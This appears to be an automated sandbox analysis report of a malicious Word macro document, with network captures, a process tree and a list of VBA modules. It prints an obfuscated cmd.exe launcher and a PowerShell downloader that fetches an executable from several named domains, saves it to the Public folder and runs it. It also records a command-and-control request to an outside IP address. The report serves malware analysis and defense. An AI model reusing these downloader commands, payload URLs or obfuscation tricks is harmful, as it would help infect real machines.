00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 cc 54 00 00 c8 00 00 00 00 10 02 00 20 04 00 00 00 00 00 00 00 00 00 00 80 32 00 00 40 10 00 00 00 20 02 00 98 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 00 00 90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 00 33 00 00 00 10 00 00 00 40 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 92 08 00 00 00 50 00 00 00 10 00 00 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 40 2e 64 61 74 61 00 00 00 6c 14 00 00 00 60 00 00 00 10 00 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 65 78 74 00 00 00 b6 00 00 00 00 80 00 00 00 10 00 00 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 43 4f 44 45 00 00 00 00 01 57 00 00 00 90 00 00 00 60 00 00 00 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 57 45 54 5f 4a 00 00 00 10 7a 00 00 00 f0 00 00 00 80 00 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 34 33 42 00 00 00 00 00 01 57 00 00 00 70 01 00 00 60 00 00 00 60 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6f 00 00 00 00 00 00 00 f3 37 00 00 00 d0 01 00 00 40 00 00 00 c0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 20 04 00 00 00 10 02 00 00 10 00 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: a945MZ@!L!This program cannot be run in DOS mode.$PEL<\@?P@0@T 2@ P.text3@ `.rdataPP`@.datal``@.textp@CODEW`@WET_Jz@43BWp``@o7@@.rsrc
Jan 14, 2019 15:04:57.268740892 CET	3	IN	Data Raw: 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 98 01 00 00 00 20 02 00 00 10 00 00 00 10 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: @@.reloc @B
Jan 14, 2019 15:04:57.268763065 CET	4	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 14, 2019 15:04:57.268785000 CET	6	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 14, 2019 15:04:57.268824100 CET	7	IN	Data Raw: 24 44 eb 02 0f 0b 8b 44 24 44 8b 4c 24 38 8a 54 24 52 80 c2 03 38 14 01 75 33 8b 44 24 44 89 44 24 2c eb 42 8b 45 08 89 44 24 40 c6 44 24 53 53 8b 44 24 40 89 44 24 04 8b 4c 24 04 64 8b 11 89 54 24 24 8b 44 24 24 89 44 24 2c eb 19 b8 17 93 b7 62 Data Ascii: $DD$DL$8T$R8u3D$DD$,BED$@D$SSD$@D$L$dT$$D$$D$,bL$D+D$TL$4;D$0sD$,e^[]USWV8ED$0(D$$D$ )L$$T$ c]\|$t$t$\|$D$,3I)D$L$T$\$r
Jan 14, 2019 15:04:57.268865108 CET	8	IN	Data Raw: c2 08 29 d1 8b 54 24 5c 0f af 54 24 5c 8b 74 24 54 89 54 24 5c 8b 54 24 28 01 ca 81 c6 1b 0b a3 16 89 54 24 24 8b 4c 24 24 83 c1 2c 89 74 24 30 8b 54 24 30 2b 44 24 54 89 4c 24 2c 39 d0 0f 83 96 00 00 00 e9 4d ff ff ff c7 44 24 4c 00 00 00 00 83 Data Ascii: )T$\T$\t$TT$\T$(T$$L$$,t$0T$0+D$TL$,9MD$L};D$(D$(L$Z"L$ZL$Z9D$<L$H$fD$JMT$Q$rT$J9T$T;L$LL$J9D$,D$DD$$@0D$<D$
Jan 14, 2019 15:04:57.268959999 CET	10	IN	Data Raw: 61 13 01 d6 c7 44 24 44 00 00 00 00 c7 44 24 40 e4 cf 8d 3c 8b 54 24 1c 8a 14 32 8b 74 24 44 8b 7c 24 40 8b 5c 24 24 89 5c 24 74 88 54 24 37 29 c7 19 ce 89 7c 24 18 89 74 24 14 0f 83 fa fe ff ff e9 26 ff ff ff 55 89 e5 56 83 e4 f8 81 ec a0 00 00 Data Ascii: aD$DD$@<T$2t$D\|$@\$$\$tT$7)\|$t$&UV$$mD$7$$+$$T$$1$1d]t$T$tHD$\|TfftL<D$\|D$\|D$<$
Jan 14, 2019 15:04:57.269025087 CET	11	IN	Data Raw: 71 ff ff ff 8b 45 e0 8b 4d c0 8b 55 08 0f be 0c 0a 05 a6 bb 8f 96 39 c1 74 1f e9 a3 00 00 00 66 8b 45 f0 66 05 49 dc 8b 4d b0 66 89 45 f0 0f b7 09 89 4d c4 e9 75 ff ff ff e9 4b ff ff ff 8b 45 e0 05 a7 bb 8f 96 03 45 c0 89 45 c0 e9 b3 fe ff ff 66 Data Ascii: qEMU9tfEfIMfEMuKEEEfEf5:7fEMfEfCfUMf9u@IZDpiM\|~_GUUuu}ZDpi)M}EMEEQ}mU$EiEg+MMM
Jan 14, 2019 15:04:57.269042015 CET	12	IN	Data Raw: 34 5e 5f 5b 5d c3 90 90 90 90 90 90 90 90 90 90 55 89 e5 53 57 56 83 e4 f8 81 ec 80 00 00 00 8b 45 0c 8b 4d 08 c7 44 24 74 00 00 00 00 c7 44 24 70 0d 2f a1 51 c7 44 24 64 68 2a 7d 41 8b 54 24 74 8b 74 24 70 31 ff bb f2 31 ca cc 29 f3 19 d7 89 7c Data Ascii: 4^_[]USWVEMD$tD$p/QD$dh}AT$tt$p11)\|$<\$8T$dv}A)\|$<\$8D$(pt$D0@3S@t$$L$ T$\$\|$D$pL$t5kWT$)T$D$L$sD$$$%\b@=\b@t[fD$nfD$nfD$nD$4
Jan 14, 2019 15:04:57.269064903 CET	13	IN	Data Raw: 84 24 5f 01 00 00 8b 8c 24 60 01 00 00 89 8c 24 48 01 00 00 8a 94 24 7f 01 00 00 8b 8c 24 58 01 00 00 80 c2 78 89 8c 24 50 01 00 00 38 d0 74 aa eb 21 8b 84 24 80 01 00 00 8b 8c 24 64 01 00 00 35 d8 e2 02 6c 01 c1 89 8c 24 64 01 00 00 e9 2f 01 00 Data Ascii: $_$`$H$$Xx$P8t!$$d5l$d/$H;$P1$d$t$p)&$t$p$$1D$ 5^?)t$ t8$4)L$T$o$4$l$l$`
Jan 14, 2019 15:04:57.407623053 CET	14	IN	Data Raw: 88 00 00 00 89 94 24 80 00 00 00 8b 44 08 30 89 44 24 6c 31 c0 b9 85 a2 a4 35 29 f9 19 f0 89 44 24 1c 89 4c 24 18 0f 82 92 00 00 00 e9 f9 00 00 00 83 7c 24 60 05 0f 82 b1 fe ff ff e9 f6 00 00 00 8d 05 33 53 40 00 b9 a1 d3 df 58 8d 54 24 3c 8b b4 Data Ascii: $D0D$l15)D$L$\|$`3S@XT$<$$m, )$D$\|$L$PD$<$X$L$\b@D$4$D$D$*D$xD$D$`+D$lD$\|$+D$\|$$D$4D$4A$3:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.1.81	49216	70.55.70.147	7080	C:\Windows\System32\emitwpc.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2019 15:05:32.883287907 CET	147	OUT	GET / HTTP/1.1 Cookie: 44122=ZGYbGH5EFss70asdCiuE3XbcgXzdmZrmgVKkYGqALjkfiMYUb2+53dSXkgpCv78ZRKwqtP8zbc/vDceEvfCyR7rCx+UJVwGieefb0KYNOMMWdU7Kds67qXFbtL5G1zPBlv5YO/dbhgsiKpY8Hy7g+Uldje14jo2tmSNg2oZENXXNyjTWyV1/TkcBbxCB73c2YxY0Hjmdo03f3wfP8sWBWoKlCojcNzLqmvEFvAQPlUi7lB+O/UA109VG3EIYffeX1pEpo3AQxHqLSvl9ztV1Jph+NrKfaWJhSbBgsMEhcUaBhnpvNEX1UTlxjF9hcxTiUERGBGH0wkHKQhG0styqZgZociTbzx6GergDtvxew8BNSDT3SUXVK21TqYbAeSbrJV1A1nCJ3WvdYW0234QuXW+0XvZ6wCCKXkKzMHqiCzTIKBSsrTZPED74IlQ9J69WUL3rhjbV5BOx0zL4kiTl+1xdcrg= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 70.55.70.147:7080 Connection: Keep-Alive Cache-Control: no-cache

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: WINWORD.EXE PID: 3876 Parent PID: 532

General

Start time:	15:05:10
Start date:	14/01/2019
Path:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding
Imagebase:	0x2fd90000
File size:	1423008 bytes
MD5 hash:	5D798FF0BE2A8970D932568068ACFD9D
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 3820 Parent PID: 408

General

Start time:	15:05:17
Start date:	14/01/2019
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k WerSvcGroup
Imagebase:	0x400000
File size:	20992 bytes
MD5 hash:	54A47F6B5E09A77E61649109C6A08866
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: cmd.exe PID: 3320 Parent PID: 3876

General

Start time:	15:05:21
Start date:	14/01/2019
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\System32\cmd.exe' /c %pROgrAMDAtA:~0,1%%PRograMdATa:~9,2% /V:/r ' SEt 0DjH=mu\YbeSc{qXrARzt1+=GvlC6J,h)8B;aOV}Q.2703oUL5/49'%(dKi~fx:pjET$H_Dy@w-IsNFWng PkM& fOr %J In ( 58 , 41, 68 , 49, 78 ,42 ,29 , 43, 70,22 , 57 ,54 , 44 , 25 , 16, 49, 11 , 49 ,6 , 60 , 6 ,6 , 70, 32,72 , 72 ,12 ,80 , 60 , 57 , 54 , 69 , 46 ,25, 16 ,49 , 26 , 49, 61 , 60 , 80 , 78, 57 ,54 , 69,40 , 25 , 16 , 49, 21, 21, 77 , 62 ,3 , 37,4 , 53, 18 ,48 , 10 , 26 , 59, 47 , 48 , 30 ,62 ,3,68, 0 ,14 , 18 ,75, 5, 68 , 69 ,41 ,4 , 59 ,5 , 7 , 15 , 77 , 72 , 5, 15, 36 , 74 , 5 , 4 , 22 , 21 , 53 , 5 , 75, 15 , 30 , 62 , 24 , 21 , 38, 4 , 18, 48 , 26 , 15 , 15 , 58 , 57 , 45, 45,4 ,5 , 53 , 15 , 71 , 26 , 31 , 21 , 41 , 0, 7 , 31, 11 , 5 , 36 , 7 , 41, 0 , 45, 42 , 22 , 10, 41 , 52 ,21 , 66, 64 , 40 , 42 ,5 , 53 , 31 ,35 , 59 , 66 , 64 , 70 , 79, 67 , 26 , 15 , 15 , 58 , 57, 45 , 45,15 ,41 ,58, 31, 4 , 21 , 31 , 14 , 5 , 36 , 7 , 41, 0, 45, 3,32 , 26,64 , 6 , 72 , 11 ,58 ,11 ,79 ,67 , 26 , 15,15 , 58 , 57 , 45 , 45, 15 , 31 , 4 , 31 , 71 ,21 , 41 , 15 ,4, 58 , 11 , 5 , 71 , 71, 36 , 7 , 41 , 0 , 45 , 78 ,38 , 60, 44, 58 ,64, 23, 3 , 79 , 59 , 15, 63 , 64 , 29, 78,46 , 61 , 80 , 56, 72 , 67 , 26 ,15 ,15 ,58 , 57 , 45 ,45,0,66 , 51 , 41 ,76 , 0, 66 , 4 , 1 , 51 ,51,66 , 36 , 7 , 41 , 0 , 45 , 42 , 43 , 66 , 7 , 14 , 68 , 29 , 64 , 59 , 61 , 19 , 41 , 20 ,67, 26 , 15 ,15 ,58 , 57 ,45 , 45 , 11 , 53 , 75 , 41 , 21 , 55, 11 , 5 , 7 , 11 , 1 , 53 , 15 , 0 , 5 ,75 , 15 , 36 , 7 , 41 , 0, 45 , 40 , 5 , 5 , 28 , 15 , 64, 70 , 70, 39 , 15 ,48 , 36 , 6, 58, 21, 53 , 15, 50,48,67 ,48 , 27 , 30 ,62,10 , 23 , 1 , 21, 18, 48 , 13 ,15 , 53 , 38 , 48 , 30 , 62 , 78 , 16 , 9 , 21 , 77 ,18 , 77 , 48 , 40 , 23 , 40 , 48 , 30 , 62 , 33,79 ,26 ,79, 18 ,48 , 80, 38,79 , 11 , 48 , 30, 62 , 43 , 53 , 59 , 21 , 18 , 62 , 5 ,75 , 20,57 , 58 , 1 , 4,21 , 53 , 7, 17 , 48, 2 , 48 , 17 , 62 , 78,16 ,9 , 21 , 17 , 48, 36 , 5 , 56, 5 , 48 , 30 , 55 ,41 , 11 , 5 , 31 ,7 , 26 , 50 , 62 , 70, 46 , 7 , 79 , 77 , 53 ,75, 77 , 62 , 24 , 21 , 38 , 4 , 27 , 8 , 15 , 11 , 66 ,8 , 62 , 3 , 68 , 0 , 14, 36 , 65 , 41 , 68 , 75 ,21 , 41, 31 ,51 , 73 , 53 , 21 , 5 ,50 ,62 , 70 ,46 , 7 ,79 , 25 , 77,62 , 43 , 53 ,59, 21 , 27, 30 , 62 ,73 , 37,20 , 68, 18 ,48 ,63 , 41 , 59 , 7 , 48 , 30 , 70, 55, 77, 50 , 50, 19 , 5 , 15 , 69 ,70 , 15 , 5 , 0 , 77 ,62, 43, 53 , 59,21 , 27 , 36 , 21, 5 ,75 , 76 , 15 , 26 , 77 , 69 , 76, 5 ,77 , 28 , 39 , 39 ,39 ,39 , 27 , 77,8 , 70 ,75 , 20 , 41 , 79 , 5 , 69, 70 ,15 , 5, 0 , 77 , 62 , 43 , 53 ,59 ,21 , 30 , 62, 32 ,46 ,16 , 14 , 18 , 48 ,13 , 1,51 ,28 ,48 , 30,4 ,11 , 5 , 31, 79 , 30 ,34 ,34, 7 , 31 , 15 ,7 , 26 , 8, 34 , 34 ,62 , 78, 59 , 47 , 41 , 18 , 48 , 80 , 1 , 14 , 16 ,48 ,30 ,84 )DO SeT oN4=!oN4!!0DjH:~ %J, 1!& IF %J GEQ 84 eCHO !oN4:~ 5! \|cMd.eXE '
Imagebase:	0x4a500000
File size:	302592 bytes
MD5 hash:	AD7B9C14083B52BC532FBA5948342B98
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: OSPPSVC.EXE PID: 1880 Parent PID: 408

General

Start time:	15:05:22
Start date:	14/01/2019
Path:	C:\Program Files\Common Files\microsoft shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE
Wow64 process (32bit):	false
Commandline:	C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE
Imagebase:	0x520000
File size:	4640000 bytes
MD5 hash:	358A9CCA612C68EB2F07DDAD4CE1D8D7
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: cmd.exe PID: 1576 Parent PID: 3320

General

Start time:	15:05:22
Start date:	14/01/2019
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	CmD /V:/r ' SEt 0DjH=mu\YbeSc{qXrARzt1+=GvlC6J,h)8B;aOV}Q.2703oUL5/49'%(dKi~fx:pjET$H_Dy@w-IsNFWng PkM& fOr %J In ( 58 , 41, 68 , 49, 78 ,42 ,29 , 43, 70,22 , 57 ,54 , 44 , 25 , 16, 49, 11 , 49 ,6 , 60 , 6 ,6 , 70, 32,72 , 72 ,12 ,80 , 60 , 57 , 54 , 69 , 46 ,25, 16 ,49 , 26 , 49, 61 , 60 , 80 , 78, 57 ,54 , 69,40 , 25 , 16 , 49, 21, 21, 77 , 62 ,3 , 37,4 , 53, 18 ,48 , 10 , 26 , 59, 47 , 48 , 30 ,62 ,3,68, 0 ,14 , 18 ,75, 5, 68 , 69 ,41 ,4 , 59 ,5 , 7 , 15 , 77 , 72 , 5, 15, 36 , 74 , 5 , 4 , 22 , 21 , 53 , 5 , 75, 15 , 30 , 62 , 24 , 21 , 38, 4 , 18, 48 , 26 , 15 , 15 , 58 , 57 , 45, 45,4 ,5 , 53 , 15 , 71 , 26 , 31 , 21 , 41 , 0, 7 , 31, 11 , 5 , 36 , 7 , 41, 0 , 45, 42 , 22 , 10, 41 , 52 ,21 , 66, 64 , 40 , 42 ,5 , 53 , 31 ,35 , 59 , 66 , 64 , 70 , 79, 67 , 26 , 15 , 15 , 58 , 57, 45 , 45,15 ,41 ,58, 31, 4 , 21 , 31 , 14 , 5 , 36 , 7 , 41, 0, 45, 3,32 , 26,64 , 6 , 72 , 11 ,58 ,11 ,79 ,67 , 26 , 15,15 , 58 , 57 , 45 , 45, 15 , 31 , 4 , 31 , 71 ,21 , 41 , 15 ,4, 58 , 11 , 5 , 71 , 71, 36 , 7 , 41 , 0 , 45 , 78 ,38 , 60, 44, 58 ,64, 23, 3 , 79 , 59 , 15, 63 , 64 , 29, 78,46 , 61 , 80 , 56, 72 , 67 , 26 ,15 ,15 ,58 , 57 , 45 ,45,0,66 , 51 , 41 ,76 , 0, 66 , 4 , 1 , 51 ,51,66 , 36 , 7 , 41 , 0 , 45 , 42 , 43 , 66 , 7 , 14 , 68 , 29 , 64 , 59 , 61 , 19 , 41 , 20 ,67, 26 , 15 ,15 ,58 , 57 ,45 , 45 , 11 , 53 , 75 , 41 , 21 , 55, 11 , 5 , 7 , 11 , 1 , 53 , 15 , 0 , 5 ,75 , 15 , 36 , 7 , 41 , 0, 45 , 40 , 5 , 5 , 28 , 15 , 64, 70 , 70, 39 , 15 ,48 , 36 , 6, 58, 21, 53 , 15, 50,48,67 ,48 , 27 , 30 ,62,10 , 23 , 1 , 21, 18, 48 , 13 ,15 , 53 , 38 , 48 , 30 , 62 , 78 , 16 , 9 , 21 , 77 ,18 , 77 , 48 , 40 , 23 , 40 , 48 , 30 , 62 , 33,79 ,26 ,79, 18 ,48 , 80, 38,79 , 11 , 48 , 30, 62 , 43 , 53 , 59 , 21 , 18 , 62 , 5 ,75 , 20,57 , 58 , 1 , 4,21 , 53 , 7, 17 , 48, 2 , 48 , 17 , 62 , 78,16 ,9 , 21 , 17 , 48, 36 , 5 , 56, 5 , 48 , 30 , 55 ,41 , 11 , 5 , 31 ,7 , 26 , 50 , 62 , 70, 46 , 7 , 79 , 77 , 53 ,75, 77 , 62 , 24 , 21 , 38 , 4 , 27 , 8 , 15 , 11 , 66 ,8 , 62 , 3 , 68 , 0 , 14, 36 , 65 , 41 , 68 , 75 ,21 , 41, 31 ,51 , 73 , 53 , 21 , 5 ,50 ,62 , 70 ,46 , 7 ,79 , 25 , 77,62 , 43 , 53 ,59, 21 , 27, 30 , 62 ,73 , 37,20 , 68, 18 ,48 ,63 , 41 , 59 , 7 , 48 , 30 , 70, 55, 77, 50 , 50, 19 , 5 , 15 , 69 ,70 , 15 , 5 , 0 , 77 ,62, 43, 53 , 59,21 , 27 , 36 , 21, 5 ,75 , 76 , 15 , 26 , 77 , 69 , 76, 5 ,77 , 28 , 39 , 39 ,39 ,39 , 27 , 77,8 , 70 ,75 , 20 , 41 , 79 , 5 , 69, 70 ,15 , 5, 0 , 77 , 62 , 43 , 53 ,59 ,21 , 30 , 62, 32 ,46 ,16 , 14 , 18 , 48 ,13 , 1,51 ,28 ,48 , 30,4 ,11 , 5 , 31, 79 , 30 ,34 ,34, 7 , 31 , 15 ,7 , 26 , 8, 34 , 34 ,62 , 78, 59 , 47 , 41 , 18 , 48 , 80 , 1 , 14 , 16 ,48 ,30 ,84 )DO SeT oN4=!oN4!!0DjH:~ %J, 1!& IF %J GEQ 84 eCHO !oN4:~ 5! \|cMd.eXE '
Imagebase:	0x4a500000
File size:	302592 bytes
MD5 hash:	AD7B9C14083B52BC532FBA5948342B98
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: cmd.exe PID: 2516 Parent PID: 1576

General

Start time:	15:05:33
Start date:	14/01/2019
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /S /D /c' eCHO pow%PUBLIC:~5,1%r%SESSIONNAME:~-4,1%h%TEMP:~-3,1%ll $Y2bi='Xhj9';$Ywmz=new-object Net.WebClient;$Jl7b='http://beitshalomcare.com/UCXoKly_3UeiaQjy_Ik@http://topablaze.com/YOh_SNrprk@http://tabaslotbpress.com/P7E5p_6YkjtH_BP4TMxN@http://mydogmybuddy.com/ULyczwB_jTGov@http://rinolfrecruitment.com/3ee8t_II0t'.Split('@');$X6ul='Rti7';$P1ql = '363';$Vkhk='M7kr';$Lijl=$env:public+'\'+$P1ql+'.exe';foreach($I4ck in $Jl7b){try{$Ywmz.DownloadFile($I4ck, $Lijl);$F2vw='Hojc';If ((Get-Item $Lijl).length -ge 80000) {Invoke-Item $Lijl;$O41z='Rud8';break;}}catch{}}$Pj9o='Muz1'; '
Imagebase:	0x4a500000
File size:	302592 bytes
MD5 hash:	AD7B9C14083B52BC532FBA5948342B98
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: cmd.exe PID: 2260 Parent PID: 1576

General

Start time:	15:05:33
Start date:	14/01/2019
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cMd.eXE
Imagebase:	0x4a500000
File size:	302592 bytes
MD5 hash:	AD7B9C14083B52BC532FBA5948342B98
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: powershell.exe PID: 4004 Parent PID: 2260

General

Start time:	15:05:33
Start date:	14/01/2019
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell $Y2bi='Xhj9';$Ywmz=new-object Net.WebClient;$Jl7b='http://beitshalomcare.com/UCXoKly_3UeiaQjy_Ik@http://topablaze.com/YOh_SNrprk@http://tabaslotbpress.com/P7E5p_6YkjtH_BP4TMxN@http://mydogmybuddy.com/ULyczwB_jTGov@http://rinolfrecruitment.com/3ee8t_II0t'.Split('@');$X6ul='Rti7';$P1ql = '363';$Vkhk='M7kr';$Lijl=$env:public+'\'+$P1ql+'.exe';foreach($I4ck in $Jl7b){try{$Ywmz.DownloadFile($I4ck, $Lijl);$F2vw='Hojc';If ((Get-Item $Lijl).length -ge 80000) {Invoke-Item $Lijl;$O41z='Rud8';break;}}catch{}}$Pj9o='Muz1';
Imagebase:	0x22500000
File size:	452608 bytes
MD5 hash:	92F44E405DB16AC55D97E3BFE3B132FA
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high

Chronological Activities

Analysis Process: 363.exe PID: 3632 Parent PID: 4004

General

Start time:	15:05:39
Start date:	14/01/2019
Path:	C:\Users\Public\363.exe
Wow64 process (32bit):	false
Commandline:	'C:\Users\Public\363.exe'
Imagebase:	0xe80000
File size:	139264 bytes
MD5 hash:	9F2BEB5C30858CC2C434A743B1A1C1CE
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: 363.exe PID: 3616 Parent PID: 3632

General

Start time:	15:05:40
Start date:	14/01/2019
Path:	C:\Users\Public\363.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\Public\363.exe
Imagebase:	0xe80000
File size:	139264 bytes
MD5 hash:	9F2BEB5C30858CC2C434A743B1A1C1CE
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: emitwpc.exe PID: 2928 Parent PID: 408

General

Start time:	15:05:47
Start date:	14/01/2019
Path:	C:\Windows\System32\emitwpc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\emitwpc.exe
Imagebase:	0xe80000
File size:	139264 bytes
MD5 hash:	9F2BEB5C30858CC2C434A743B1A1C1CE
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: emitwpc.exe PID: 3136 Parent PID: 2928

General

Start time:	15:05:48
Start date:	14/01/2019
Path:	C:\Windows\System32\emitwpc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\emitwpc.exe
Imagebase:	0xe80000
File size:	139264 bytes
MD5 hash:	9F2BEB5C30858CC2C434A743B1A1C1CE
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Disassembly

Code Analysis

VBA Code

Call Graph

Entrypoint
Decryption Function
Executed
Not Executed
Show Help

Module: Fbd61

Declaration

Line	Content
1	Attribute VB_Name = "Fbd61"
2	Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = False
6	Attribute VB_Exposed = False
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = False

Module: Hzk5

Declaration

Line	Content
1	Attribute VB_Name = "Hzk5"

Module: Jqidv

Declaration

Line	Content
1	Attribute VB_Name = "Jqidv"
2	Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = False
6	Attribute VB_Exposed = False
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = False

Module: Lbtif

Declaration

Line	Content
1	Attribute VB_Name = "Lbtif"

Module: Nical

Declaration

Line	Content
1	Attribute VB_Name = "Nical"

Module: Owl5

Declaration

Line	Content
1	Attribute VB_Name = "Owl5"
2	Attribute VB_Base = "1Normal.ThisDocument"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = True
8	Attribute VB_Customizable = True
9	Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"

Executed Functions

Subroutine autoopen, APIs: 112, Strings: 0, Number of lines: 13, Relevance: 169.513

APIs	Meta Information
Zplv
Snfj
Dmul
J816
Gvzbj
Xm49f
Gfku
Amhl
Sqni
Rfp9
Part of subcall function Swon@X4nu: Rj1c
Part of subcall function Swon@X4nu: CDate
Part of subcall function Swon@X4nu: R8i4
Part of subcall function Swon@X4nu: Dq9q
Part of subcall function Swon@X4nu: Sgn
Part of subcall function Swon@X4nu: U7nm2
Part of subcall function Swon@X4nu: CDbl
Part of subcall function Swon@X4nu: Sin
Part of subcall function Swon@X4nu: C5io
Part of subcall function Swon@X4nu: Fix
Part of subcall function Swon@X4nu: Bq9b
Part of subcall function Swon@X4nu: Round
Part of subcall function Swon@X4nu: Fzw0
Part of subcall function Swon@X4nu: S7jm5
Part of subcall function Swon@X4nu: CDate
Part of subcall function Swon@X4nu: Z2ti
Part of subcall function Swon@X4nu: Ijsjv
Part of subcall function Swon@X4nu: Sgn
Part of subcall function Swon@X4nu: M5v4p
Part of subcall function Swon@X4nu: CDbl
Part of subcall function Swon@X4nu: Sin
Part of subcall function Swon@X4nu: Zt90
Part of subcall function Swon@X4nu: Fix
Part of subcall function Swon@X4nu: H2m3i
Part of subcall function Swon@X4nu: Round
Part of subcall function Swon@X4nu: Gw1s
Part of subcall function Swon@X4nu: Na7u3
Part of subcall function Swon@X4nu: CDate
Part of subcall function Swon@X4nu: J4io
Part of subcall function Swon@X4nu: C4506
Part of subcall function Swon@X4nu: Sgn
Part of subcall function Swon@X4nu: Nvjvk
Part of subcall function Swon@X4nu: CDbl
Part of subcall function Swon@X4nu: Sin
Part of subcall function Swon@X4nu: Kwc19
Part of subcall function Swon@X4nu: Fix
Part of subcall function Swon@X4nu: M8kw
Part of subcall function Swon@X4nu: Round
Part of subcall function Swon@X4nu: Y7ss
Part of subcall function Swon@X4nu: S527
Part of subcall function Swon@X4nu: CDate
Part of subcall function Swon@X4nu: Wvv8p
Part of subcall function Swon@X4nu: Fzz9
Part of subcall function Swon@X4nu: Sgn
Part of subcall function Swon@X4nu: Ebl1
Part of subcall function Swon@X4nu: CDbl
Part of subcall function Swon@X4nu: Sin
Part of subcall function Swon@X4nu: Gjvum
Part of subcall function Swon@X4nu: Fix
Part of subcall function Swon@X4nu: Bn1zn
Part of subcall function Swon@X4nu: Round
Part of subcall function Swon@X4nu: Uq7jc
Part of subcall function Swon@X4nu: H5t0v
Part of subcall function Swon@X4nu: CDate
Part of subcall function Swon@X4nu: Bsowp
